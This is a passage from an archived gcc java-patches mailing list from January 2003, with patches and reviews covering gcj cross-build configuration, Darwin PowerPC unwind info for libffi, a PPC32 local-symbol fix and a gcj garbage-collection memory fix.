configure.in 2003-01-20 19:32:40.000000000 +0530 @@ -472,5 +472,5 @@ AC_SUBST(gcc_version) -if test "x${with_newlib}" = "xyes"; then +if test -n "${with_cross_host}"; then # We are being configured with a cross compiler. AC_REPLACE_FUNCS # may not work correctly, because the compiler may not be able to @@ -728,7 +728,14 @@ changequote([,]) fi - if test -x "${builddotdot}/../../gcc/gcj"; then - dir="`cd ${builddotdot}/../../gcc && ${PWDCMD-pwd}`" - GCJ="$dir/gcj -B`${PWDCMD-pwd}`/ -B$dir/" + if test -x "${builddotdot}/../../gcc/gcj${ac_cv_exeext}"; then + if test x"$build" = x"$host"; then + dir="`cd ${builddotdot}/../../gcc && ${PWDCMD-pwd}`" + GCJ="$dir/gcj -B`${PWDCMD-pwd}`/ -B$dir/" + else + # Crossed-native build (host=target and host!=build) + CANADIAN=yes + NULL_TARGET=no + GCJ="${target_alias}-gcj -B`${PWDCMD-pwd}`/" + fi else CANADIAN=yes --- Makefile.am 2003-01-20 19:17:53.000000000 +0530 +++ Makefile.am 2003-01-20 19:19:55.000000000 +0530 @@ -59,8 +59,9 @@ ## found in the build tree. ZIP = $(MULTIBUILDTOP)../$(COMPPATH)/fastjar/jar +GCJH = gcjh else ZIP = jar +GCJH = $(target_alias)-gcjh endif -GCJH = gcjh else # CANADIAN GCJH = $(MULTIBUILDTOP)../$(COMPPATH)/gcc/gcjh -------------------------------- 8< -------------------------------- Sincerely Yours, Ranjit. -- Ranjit Mathew Email: rmathew AT hotmail DOT com Bangalore, INDIA. Web: http://ranjitmathew.tripod.com/ From java-patches-return-5845-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Jan 20 18:41:31 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 14230 invoked by alias); 20 Jan 2003 18:41:31 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 14172 invoked from network); 20 Jan 2003 18:41:30 -0000 Received: from unknown (HELO mail02.agrinet.ch) (212.28.134.115) by 172.16.49.205 with SMTP; 20 Jan 2003 18:41:30 -0000 Received: from pop.agri.ch (217.162.33.222) by mail02.agrinet.ch (NPlex 5.5.060) (authenticated as toa@pop.agri.ch) id 3E1BCDEE0006D7C4; Mon, 20 Jan 2003 19:41:26 +0100 Message-ID: <3E2C42DA.1000603@pop.agri.ch> Date: Mon, 20 Jan 2003 19:41:30 +0100 From: Andreas Tobler User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.3a) Gecko/20021212 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Jeff Sturm CC: aph , Anthony Green , java-patches Subject: Re: unwind info for darwin References: In-Reply-To: Content-Type: multipart/mixed; boundary="------------090604050602050206040500" This is a multi-part message in MIME format. --------------090604050602050206040500 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Jeff Sturm wrote: > On Mon, 20 Jan 2003, Andreas Tobler wrote: > >>2003-01-20 Andreas Tobler >> * src/powerpc/darwin.S: Add unwind info. > > > These labels aren't used anywhere: > > >>+LCFI1: >> stw r29,-12(r8) >>+LCFI2: >> stw r30, -8(r8) >>+LCFI3: >> stw r31, -4(r8) >>+LCFI4: >> stw r9, 8(r8) >>+LCFI5: Sigh, sorry too fast. Better? Andreas --------------090604050602050206040500 Content-Type: text/plain; x-mac-type="0"; x-mac-creator="0"; name="darwin-unwind.diff" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="darwin-unwind.diff" --- gcc/libffi/src/powerpc/darwin.S.orig Sun Jan 19 12:09:10 2003 +++ gcc/libffi/src/powerpc/darwin.S Mon Jan 20 19:37:47 2003 @@ -37,30 +37,34 @@ .text .align 2 _ffi_call_DARWIN: - mr r12,r8 // We only need r12 until the call, so it doesn't have to be saved... +LFB0: + mr r12,r8 /* We only need r12 until the call, + so it doesn't have to be saved... */ +LFB1: /* Save the old stack pointer as AP. */ mr r8,r1 - +LCFI0: /* Allocate the stack space we need. */ stwux r1,r1,r4 /* Save registers we use. */ mflr r9 - stw r28,-16(r8) + stw r28,-16(r8) stw r29,-12(r8) stw r30, -8(r8) stw r31, -4(r8) - - stw r9, 8(r8) + + stw r9, 8(r8) stw r2, 20(r1) +LCFI1: /* Save arguments over call... */ - mr r31,r5 /* flags, */ - mr r30,r6 /* rvalue, */ - mr r29,r7 /* function address, */ - mr r28,r8 /* our AP. */ - + mr r31,r5 /* flags, */ + mr r30,r6 /* rvalue, */ + mr r29,r7 /* function address, */ + mr r28,r8 /* our AP. */ +LCFI2: /* Call ffi_prep_args. */ mr r4,r1 li r9,0 @@ -143,7 +147,8 @@ L(float_return_value): stfs f1,0(r30) b L(done_return_value) -//END(_ffi_call_DARWIN) +LFE1: +/* END(_ffi_call_DARWIN) */ /* Provide a null definition of _ffi_call_AIX. */ .text @@ -153,5 +158,60 @@ .align 2 _ffi_call_AIX: blr -//END(_ffi_call_AIX) +/* END(_ffi_call_AIX) */ +.data +.section __TEXT,__eh_frame +Lframe1: + .set L$set$0,LECIE1-LSCIE1 + .long L$set$0 ; Length of Common Information Entry +LSCIE1: + .long 0x0 ; CIE Identifier Tag + .byte 0x1 ; CIE Version + .ascii "zR\0" ; CIE Augmentation + .byte 0x1 ; uleb128 0x1; CIE Code Alignment Factor + .byte 0x7c ; sleb128 -4; CIE Data Alignment Factor + .byte 0x41 ; CIE RA Column + .byte 0x1 ; uleb128 0x1; Augmentation size + .byte 0x10 ; FDE Encoding (pcrel) + .byte 0xc ; DW_CFA_def_cfa + .byte 0x1 ; uleb128 0x1 + .byte 0x0 ; uleb128 0x0 + .align 2 +LECIE1: +LSFDE1: + .set L$set$1,LEFDE1-LASFDE1 + .long L$set$1 ; FDE Length +LASFDE1: + .set L$set$2,LASFDE1-Lframe1 + .long L$set$2 ; FDE CIE offset + .long LFB0-. ; FDE initial location + .set L$set$3,LFE1-LFB0 + .long L$set$3 ; FDE address range + .byte 0x4 ; DW_CFA_advance_loc4 + .set L$set$4,LCFI0-LFB1 + .long L$set$4 + .byte 0xd ; DW_CFA_def_cfa_register + .byte 0x08 ; uleb128 0x08 + .byte 0x4 ; DW_CFA_advance_loc4 + .set L$set$5,LCFI1-LCFI0 + .long L$set$5 + .byte 0x11 ; DW_CFA_offset_extended_sf + .byte 0x41 ; uleb128 0x41 + .byte 0x7e ; sleb128 -2 + .byte 0x9f ; DW_CFA_offset, column 0x1f + .byte 0x1 ; uleb128 0x1 + .byte 0x9e ; DW_CFA_offset, column 0x1e + .byte 0x2 ; uleb128 0x2 + .byte 0x9d ; DW_CFA_offset, column 0x1d + .byte 0x3 ; uleb128 0x3 + .byte 0x9c ; DW_CFA_offset, column 0x1c + .byte 0x4 ; uleb128 0x4 + .byte 0x4 ; DW_CFA_advance_loc4 + .set L$set$6,LCFI2-LCFI1 + .long L$set$6 + .byte 0xd ; DW_CFA_def_cfa_register + .byte 0x1c ; uleb128 0x1c + .align 2 +LEFDE1: + --- gcc/libffi/src/powerpc/darwin_closure.S.orig Sun Jan 19 12:09:10 2003 +++ gcc/libffi/src/powerpc/darwin_closure.S Mon Jan 20 15:32:11 2003 @@ -1,6 +1,6 @@ /* ----------------------------------------------------------------------- - darwin_closures.S - Copyright (c) 2002 Free Software Foundation, Inc. - based on ppc_closures.S + darwin_closure.S - Copyright (c) 2002 2003 Free Software Foundation, + Inc. based on ppc_closure.S PowerPC Assembly glue. @@ -37,20 +37,20 @@ .text .align 2 _ffi_closure_ASM: - - mflr r0 /* extract return address */ - stw r0, 8(r1) /* save the return address */ - +LFB1: + mflr r0 /* extract return address */ + stw r0, 8(r1) /* save the return address */ +LCFI0: /* 24 Bytes (Linkage Area) */ /* 32 Bytes (outgoing parameter area, always reserved) */ /* 104 Bytes (13*8 from FPR) */ /* 4 Bytes (result) /* 164 Bytes */ - stwu r1,-164(r1) /* skip over caller save area */ - -/* we want to build up an area for the parameters passed */ -/* in registers (both floating point and integer) */ + stwu r1,-164(r1) /* skip over caller save area */ +LCFI1: + /* we want to build up an area for the parameters passed + in registers (both floating point and integer) */ /* we store gpr 3 to gpr 10 (aligned to 4) */ /* in the parents outgoing area */ @@ -111,7 +111,9 @@ lwzx r3,r4,r3 /* get the contents of that table value */ add r3,r3,r4 /* add contents of table to table address */ mtctr r3 - bctr /* jump to it */ + bctr /* jump to it */ +LFE1: + .align 2 .L60: .long .L44-.L60 /* FFI_TYPE_VOID */ @@ -185,5 +187,49 @@ mtlr r0 /* reset link register */ blr -/* END(ffi_closure_ASM) */ +/* END(ffi_closure_ASM) */ + +.data +.section __TEXT,__eh_frame +Lframe1: + .set L$set$0,LECIE1-LSCIE1 + .long L$set$0 ; Length of Common Information Entry +LSCIE1: + .long 0x0 ; CIE Identifier Tag + .byte 0x1 ; CIE Version + .ascii "zR\0" ; CIE Augmentation + .byte 0x1 ; uleb128 0x1; CIE Code Alignment Factor + .byte 0x7c ; sleb128 -4; CIE Data Alignment Factor + .byte 0x41 ; CIE RA Column + .byte 0x1 ; uleb128 0x1; Augmentation size + .byte 0x10 ; FDE Encoding (pcrel) + .byte 0xc ; DW_CFA_def_cfa + .byte 0x1 ; uleb128 0x1 + .byte 0x0 ; uleb128 0x0 + .align 2 +LECIE1: +LSFDE1: + .set L$set$1,LEFDE1-LASFDE1 + .long L$set$1 ; FDE Length + +LASFDE1: + .set L$set$2,LASFDE1-Lframe1 + .long L$set$2 ; FDE CIE offset + .long LFB1-. ; FDE initial location + .set L$set$3,LFE1-LFB1 + .long L$set$3 ; FDE address range + .byte 0x0 ; uleb128 0x0; Augmentation size + .byte 0x4 ; DW_CFA_advance_loc4 + .set L$set$3,LCFI1-LCFI0 + .long L$set$3 + .byte 0xe ; DW_CFA_def_cfa_offset + .byte 164,1 ; uleb128 164 + .byte 0x4 ; DW_CFA_advance_loc4 + .set L$set$4,LCFI0-LFB1 + .long L$set$4 + .byte 0x11 ; DW_CFA_offset_extended_sf + .byte 0x41 ; uleb128 0x41 + .byte 0x7e ; sleb128 -2 + .align 2 +LEFDE1: --------------090604050602050206040500-- From java-patches-return-5846-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Jan 20 23:02:51 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 28703 invoked by alias); 20 Jan 2003 23:02:51 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 28657 invoked from network); 20 Jan 2003 23:02:50 -0000 Received: from unknown (HELO monty-python.gnu.org) (199.232.76.173) by 172.16.49.205 with SMTP; 20 Jan 2003 23:02:50 -0000 Received: from nat-pool-rdu.redhat.com ([66.187.233.200] helo=devserv.devel.redhat.com) by monty-python.gnu.org with esmtp (Exim 4.10.13) id 18akwJ-0001kT-00; Mon, 20 Jan 2003 18:02:48 -0500 Received: (from jakub@localhost) by devserv.devel.redhat.com (8.11.6/8.11.0) id h0KN1X715329; Mon, 20 Jan 2003 18:01:33 -0500 Date: Mon, 20 Jan 2003 18:01:33 -0500 From: Jakub Jelinek To: Jeff Sturm Cc: Andreas Tobler , gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Re: [libffi] closures for sparc Message-ID: <20030120180133.I10012@devserv.devel.redhat.com> Reply-To: Jakub Jelinek References: <3E16BD22.4090905@pop.agri.ch> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: ; from jsturm@one-point.com on Sun, Jan 05, 2003 at 11:26:30AM -0500 On Sun, Jan 05, 2003 at 11:26:30AM -0500, Jeff Sturm wrote: > On Sat, 4 Jan 2003, Andreas Tobler wrote: > > Hm, powerpc-unknown-linux-gnu doesn't like the static: > > > .libs/ffitest.o: could not read symbols: Bad value > > Strange. Surely this isn't a problem in libffi though? > > Can you try a newer ld and see if it fixes the problem? If not, let me > know and I'll attempt a cross build (I don't have a powerpc-linux machine > handy). I get the same on ppc-linux. To me this looks like a bug in gcc: /* { dg-do link } */ /* { dg-options "-O2 -fpic" } */ static char foo [128]; void bar (void) { ((void (*)(void))foo)(); } int main () { } results in: ... bl foo@plt ... .lcomm foo,128,4 Note @plt used for local symbol. Jakub From java-patches-return-5847-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Jan 20 23:34:24 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 25977 invoked by alias); 20 Jan 2003 23:34:23 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 25699 invoked from network); 20 Jan 2003 23:34:21 -0000 Received: from unknown (HELO linuxpc1.lauterbach.com) (213.70.137.66) by 172.16.49.205 with SMTP; 20 Jan 2003 23:34:21 -0000 Received: (qmail 19451 invoked by uid 82); 20 Jan 2003 23:34:19 -0000 Received: from Franz.Sirl-kernel@lauterbach.com by linuxpc1 by uid 80 with qmail-scanner-1.15 (inocmd32: virsig.da0 23.58.28 . spamassassin: 2.43-cvs. Clear:. Processed in 0.940909 secs); 20 Jan 2003 23:34:19 -0000 Received: from dsl-212-144-218-167.arcor-ip.net (212.144.218.167) by linuxpc1.lauterbach.com with SMTP; 20 Jan 2003 23:34:18 -0000 From: Franz Sirl To: Jakub Jelinek , Jeff Sturm Subject: [PATCH] Fix PPC32 local checks in 3.2 (was: Re: [libffi] closures for sparc) Date: Tue, 21 Jan 2003 00:34:17 +0100 User-Agent: KMail/1.5 Cc: Andreas Tobler , gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org References: <3E16BD22.4090905@pop.agri.ch> <20030120180133.I10012@devserv.devel.redhat.com> In-Reply-To: <20030120180133.I10012@devserv.devel.redhat.com> MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_5dIL+47QrdVZkXX" Message-Id: <200301210034.17622@enzo.bigblue.local> --Boundary-00=_5dIL+47QrdVZkXX Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline On Tuesday 21 January 2003 00:01, Jakub Jelinek wrote: > On Sun, Jan 05, 2003 at 11:26:30AM -0500, Jeff Sturm wrote: > > On Sat, 4 Jan 2003, Andreas Tobler wrote: > > > Hm, powerpc-unknown-linux-gnu doesn't like the static: > > > > > > .libs/ffitest.o: could not read symbols: Bad value > > > > Strange. Surely this isn't a problem in libffi though? > > > > Can you try a newer ld and see if it fixes the problem? If not, let me > > know and I'll attempt a cross build (I don't have a powerpc-linux machine > > handy). > > I get the same on ppc-linux. To me this looks like a bug in gcc: > > /* { dg-do link } */ > /* { dg-options "-O2 -fpic" } */ > static char foo [128]; > void bar (void) > { > ((void (*)(void))foo)(); > } > int main () > { > } > > results in: > ... > bl foo@plt > ... > .lcomm foo,128,4 > > Note @plt used for local symbol. Yeah, I have a patch for that. I simply backported the gllobal gcc-3.3 binds_local_p routine to a local one in rs6000.c. Works like a charm here, no regressions and it works for glibc, qt, KDE-3.1, kernel just fine. OK to commit to gcc-3_2-branch? Jakub, as soon as you pull this over to the rhl8 branch, you can remove the "ExcludeArch: ppc" of the Omni package in RawHide. Franz. * config/rs6000/rs6000.c (rs6000_binds_local_p): New functiion. (rs6000_encode_section_info): Use it. --Boundary-00=_5dIL+47QrdVZkXX Content-Type: text/plain; charset="utf-8"; name="gcc-ppc-binds_local_p-1.patch" Content-Transfer-Encoding: 8bit Content-Disposition: attachment; filename="gcc-ppc-binds_local_p-1.patch" Index: gcc/config/rs6000/rs6000.c =================================================================== RCS file: /cvsroot/gcc/gcc/gcc/config/rs6000/rs6000.c,v retrieving revision 1.291.2.13.2.5.2.4 diff -u -p -r1.291.2.13.2.5.2.4 rs6000.c --- gcc/config/rs6000/rs6000.c 8 Dec 2002 19:39:16 -0000 1.291.2.13.2.5.2.4 +++ gcc/config/rs6000/rs6000.c 20 Jan 2003 23:23:41 -0000 @@ -155,6 +155,7 @@ static void rs6000_elf_asm_out_destructo #ifdef OBJECT_FORMAT_COFF static void xcoff_asm_named_section PARAMS ((const char *, unsigned int)); #endif +static bool rs6000_binds_local_p PARAMS ((tree)); static int rs6000_adjust_cost PARAMS ((rtx, rtx, rtx, int)); static int rs6000_adjust_priority PARAMS ((rtx, int)); static int rs6000_issue_rate PARAMS ((void)); @@ -10947,7 +10948,50 @@ rs6000_unique_section (decl, reloc) DECL_SECTION_NAME (decl) = build_string (len, string); } - + +static bool +rs6000_binds_local_p (exp) + tree exp; +{ + bool local_p; + tree attr; + + /* A non-decl is an entry in the constant pool. */ + if (!DECL_P (exp)) + local_p = true; + /* Static variables are always local. */ + else if (! TREE_PUBLIC (exp)) + local_p = true; + /* A variable is local if the user tells us so. */ + else if ((attr = lookup_attribute ("visibility", DECL_ATTRIBUTES (exp))) + && strcmp (TREE_STRING_POINTER (TREE_VALUE (TREE_VALUE (attr))), + "default") != 0) + local_p = true; + /* Otherwise, variables defined outside this object may not be local. */ + else if (DECL_EXTERNAL (exp)) + local_p = false; + /* Linkonce and weak data are never local. */ + else if (DECL_ONE_ONLY (exp) || DECL_WEAK (exp)) + local_p = false; + /* If PIC, then assume that any global name can be overridden by + * symbols resolved from other modules. */ + else if (flag_pic || rs6000_flag_pic) + local_p = false; + /* Uninitialized COMMON variable may be unified with symbols + * resolved from other modules. */ + else if (DECL_COMMON (exp) + && (DECL_INITIAL (exp) == NULL + || DECL_INITIAL (exp) == error_mark_node)) + local_p = false; + /* Otherwise we're left with initialized (or non-common) global data + * which is of necessity defined locally. */ + else + local_p = true; + + return local_p; +} + + /* If we are referencing a function that is static or is known to be in this file, make the SYMBOL_REF special. We can use this to indicate that we can branch to this function without emitting a no-op after the @@ -10963,12 +11007,7 @@ rs6000_encode_section_info (decl) if (TREE_CODE (decl) == FUNCTION_DECL) { rtx sym_ref = XEXP (DECL_RTL (decl), 0); - if (!TREE_PUBLIC (decl) - || (!DECL_EXTERNAL (decl) - && !DECL_ONE_ONLY (decl) - && !DECL_WEAK (decl) - && !flag_pic - && !rs6000_flag_pic)) + if (rs6000_binds_local_p (decl)) SYMBOL_REF_FLAG (sym_ref) = 1; if (DEFAULT_ABI == ABI_AIX) @@ -10987,10 +11026,14 @@ rs6000_encode_section_info (decl) && DEFAULT_ABI == ABI_V4 && TREE_CODE (decl) == VAR_DECL) { + rtx sym_ref = XEXP (DECL_RTL (decl), 0); int size = int_size_in_bytes (TREE_TYPE (decl)); tree section_name = DECL_SECTION_NAME (decl); const char *name = (char *)0; int len = 0; + + if (rs6000_binds_local_p (decl)) + SYMBOL_REF_FLAG (sym_ref) = 1; if (section_name) { --Boundary-00=_5dIL+47QrdVZkXX-- From java-patches-return-5848-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Jan 20 23:41:52 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 15868 invoked by alias); 20 Jan 2003 23:41:52 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 15823 invoked from network); 20 Jan 2003 23:41:52 -0000 Received: from unknown (HELO monty-python.gnu.org) (199.232.76.173) by 172.16.49.205 with SMTP; 20 Jan 2003 23:41:52 -0000 Received: from nat-pool-rdu.redhat.com ([66.187.233.200] helo=devserv.devel.redhat.com) by monty-python.gnu.org with esmtp (Exim 4.10.13) id 18alY3-0004bF-00; Mon, 20 Jan 2003 18:41:47 -0500 Received: (from jakub@localhost) by devserv.devel.redhat.com (8.11.6/8.11.0) id h0KNear23872; Mon, 20 Jan 2003 18:40:36 -0500 Date: Mon, 20 Jan 2003 18:40:35 -0500 From: Jakub Jelinek To: Franz Sirl Cc: Jeff Sturm , Andreas Tobler , gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Re: [PATCH] Fix PPC32 local checks in 3.2 (was: Re: [libffi] closures for sparc) Message-ID: <20030120184035.L10012@devserv.devel.redhat.com> Reply-To: Jakub Jelinek References: <3E16BD22.4090905@pop.agri.ch> <20030120180133.I10012@devserv.devel.redhat.com> <200301210034.17622@enzo.bigblue.local> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <200301210034.17622@enzo.bigblue.local>; from Franz.Sirl-kernel@lauterbach.com on Tue, Jan 21, 2003 at 12:34:17AM +0100 On Tue, Jan 21, 2003 at 12:34:17AM +0100, Franz Sirl wrote: > > /* { dg-do link } */ > > /* { dg-options "-O2 -fpic" } */ > > static char foo [128]; > > void bar (void) > > { > > ((void (*)(void))foo)(); > > } > > int main () > > { > > } > > > > results in: > > ... > > bl foo@plt > > ... > > .lcomm foo,128,4 > > > > Note @plt used for local symbol. > > Yeah, I have a patch for that. I simply backported the gllobal gcc-3.3 Thanks. > binds_local_p routine to a local one in rs6000.c. Works like a charm here, no > regressions and it works for glibc, qt, KDE-3.1, kernel just fine. > > OK to commit to gcc-3_2-branch? 3.2 branch has no __attribute__((visibility)) stuff... Only gcc-3_2-rhl8-branch has, but its implementation is slightly different from 3.3/3.4 stuff. Jakub From java-patches-return-5849-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 21 01:34:41 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 8236 invoked by alias); 21 Jan 2003 01:34:41 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 8120 invoked from network); 21 Jan 2003 01:34:40 -0000 Received: from unknown (HELO ops2.one-point.com) (216.234.116.146) by 172.16.49.205 with SMTP; 21 Jan 2003 01:34:40 -0000 Received: from localhost (jsturm@localhost) by ops2.one-point.com (8.11.6/8.11.6) with ESMTP id h0L1Yeb20248; Mon, 20 Jan 2003 20:34:40 -0500 Date: Mon, 20 Jan 2003 20:34:40 -0500 (EST) From: Jeff Sturm To: Jakub Jelinek cc: Andreas Tobler , , Subject: Re: [libffi] closures for sparc In-Reply-To: <20030120180133.I10012@devserv.devel.redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Mon, 20 Jan 2003, Jakub Jelinek wrote: > Note @plt used for local symbol. Indeed. I thought this took care of it though: 2003-01-08 Jeff Sturm PR target/9210 * config/rs6000/rs6000.c (rs6000_elf_encode_section_info): Set SYMBOL_REF_FLAG on local data sym_ref. Jeff From java-patches-return-5850-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 21 01:38:35 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 28040 invoked by alias); 21 Jan 2003 01:38:34 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 28007 invoked from network); 21 Jan 2003 01:38:34 -0000 Received: from unknown (HELO ops2.one-point.com) (216.234.116.146) by 172.16.49.205 with SMTP; 21 Jan 2003 01:38:34 -0000 Received: from localhost (jsturm@localhost) by ops2.one-point.com (8.11.6/8.11.6) with ESMTP id h0L1cYD20306; Mon, 20 Jan 2003 20:38:34 -0500 Date: Mon, 20 Jan 2003 20:38:34 -0500 (EST) From: Jeff Sturm To: Andreas Tobler cc: aph , Anthony Green , java-patches Subject: Re: unwind info for darwin In-Reply-To: <3E2C42DA.1000603@pop.agri.ch> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Mon, 20 Jan 2003, Andreas Tobler wrote: > Sigh, sorry too fast. > > Better? Looks good to me. Anthony will have to approve it though. Jeff From java-patches-return-5851-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 21 01:56:53 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 30868 invoked by alias); 21 Jan 2003 01:56:53 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 30771 invoked from network); 21 Jan 2003 01:56:53 -0000 Received: from unknown (HELO mx2.redhat.com) (12.150.115.133) by 172.16.49.205 with SMTP; 21 Jan 2003 01:56:53 -0000 Received: from int-mx2.corp.redhat.com (int-mx2.corp.redhat.com [172.16.27.26]) by mx2.redhat.com (8.11.6/8.11.6) with ESMTP id h0L1pV126700; Mon, 20 Jan 2003 20:51:31 -0500 Received: from potter.sfbay.redhat.com (potter.sfbay.redhat.com [172.16.27.15]) by int-mx2.corp.redhat.com (8.11.6/8.11.6) with ESMTP id h0L1uen25615; Mon, 20 Jan 2003 20:56:40 -0500 Received: from [192.168.64.12] (vpn50-8.rdu.redhat.com [172.16.50.8]) by potter.sfbay.redhat.com (8.11.6/8.11.6) with ESMTP id h0L1ubE28009; Mon, 20 Jan 2003 17:56:37 -0800 Subject: Re: unwind info for darwin From: Anthony Green To: Jeff Sturm Cc: Andreas Tobler , aph , java-patches In-Reply-To: References: Content-Type: text/plain Content-Transfer-Encoding: 7bit Date: 20 Jan 2003 17:59:31 -0800 Message-Id: <1043114374.2935.360.camel@escape> Mime-Version: 1.0 On Mon, 2003-01-20 at 17:38, Jeff Sturm wrote: > On Mon, 20 Jan 2003, Andreas Tobler wrote: > > Sigh, sorry too fast. > > > > Better? > > Looks good to me. Anthony will have to approve it though. Ok - thanks to both of you. AG From java-patches-return-5852-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 21 06:15:59 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 16193 invoked by alias); 21 Jan 2003 06:15:58 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 16153 invoked from network); 21 Jan 2003 06:15:57 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 21 Jan 2003 06:15:57 -0000 Received: from fleche.redhat.com (tz0203.peakpeak.com [207.174.69.203]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id XAA19235; Mon, 20 Jan 2003 23:15:55 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 7FD634F8073; Mon, 20 Jan 2003 23:16:06 -0700 (MST) To: Gcc Patch List Cc: Java Patch List Subject: Patch: gcj/ggc fix From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I wonder if I should put myself in ESCROW!! Date: 20 Jan 2003 23:16:06 -0700 Message-ID: <87r8b7uixl.fsf@fleche.redhat.com> Lines: 59 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii This patch fixes a GC failure in gcj. We're allocating uninitialized memory in set_constant_entry. If the right calls are made in the right sequence, we can end up with a situation where the GC sees uninitialized tags values. The symptom is a compiler crash. The appended patch fixes this by ensuring that the new memory is always cleared before use. This probably isn't the most efficient approach, but it is easy to understand. Tested on x86 Red Hat Linux 7.3. I don't have a simple test case. Ok for trunk? (3.3 is different and I don't think this is a problem there.) Tom 2003-01-20 Tom Tromey * constants.c (set_constant_entry): Allocated cleared memory. Index: constants.c =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/constants.c,v retrieving revision 1.29 diff -u -r1.29 constants.c --- constants.c 18 Jan 2003 22:15:50 -0000 1.29 +++ constants.c 21 Jan 2003 06:09:06 -0000 @@ -46,12 +46,14 @@ if (cpool->data == NULL) { cpool->capacity = 100; - cpool->tags = ggc_alloc (sizeof(uint8) * cpool->capacity); - cpool->data = ggc_alloc (sizeof(union cpool_entry) * cpool->capacity); + cpool->tags = ggc_alloc_cleared (sizeof(uint8) * cpool->capacity); + cpool->data = ggc_alloc_cleared (sizeof(union cpool_entry) + * cpool->capacity); cpool->count = 1; } if (index >= cpool->capacity) { + int old_cap = cpool->capacity; cpool->capacity *= 2; if (index >= cpool->capacity) cpool->capacity = index + 10; @@ -59,6 +61,11 @@ sizeof(uint8) * cpool->capacity); cpool->data = ggc_realloc (cpool->data, sizeof(union cpool_entry) * cpool->capacity); + + /* Make sure GC never sees uninitialized tag values. */ + memset (cpool->tags + old_cap, 0, cpool->capacity - old_cap); + memset (cpool->data + old_cap, 0, + (cpool->capacity - old_cap) * sizeof (union cpool_entry)); } if (index >= cpool->count) cpool->count = index + 1; From java-patches-return-5853-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 21 06:28:53 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 9743 invoked by alias); 21 Jan 2003 06:28:52 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 9718 invoked from network); 21 Jan 2003 06:28:52 -0000 Received: from unknown 